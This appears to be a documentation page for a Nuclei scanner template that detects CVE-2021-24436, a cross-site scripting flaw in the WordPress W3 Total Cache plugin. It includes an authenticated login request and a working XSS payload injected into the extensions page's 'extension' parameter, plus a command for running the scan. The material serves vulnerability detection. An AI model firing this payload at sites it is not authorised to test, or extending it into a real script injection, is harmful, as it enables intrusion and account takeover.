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WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting

ID: CVE-2021-24436

Severity: medium

Author: theamanrawat

Tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,authenticated,boldgrid

Description

Section titled “Description”

WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user’s web browser, which could lead to full site compromise.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24436


info:
  name: WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 2.1.4.
  reference:
    - https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
    - https://wordpress.org/plugins/w3-total-cache/
    - https://wpscan.com/vulnerability/05988ebb-7378-4a3a-9d2d-30f8f58fe9ef
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24436
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24436
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.4009
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,authenticated,boldgrid


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=w3tc_extensions&extension="%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(body_2, '><script>alert(document.domain)</script>&action=view')
          - contains(header_2, "text/html")
        condition: and
# digest: 490a004630440220159c138ca03b5f1329c45c8088ba90de7d36a01151cf1352f6e3ddae074152a102206d2012d7979d038d41a1dec9cd400d6bfb6131f8050190b7f550e8755fe24cd5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24436.yaml"

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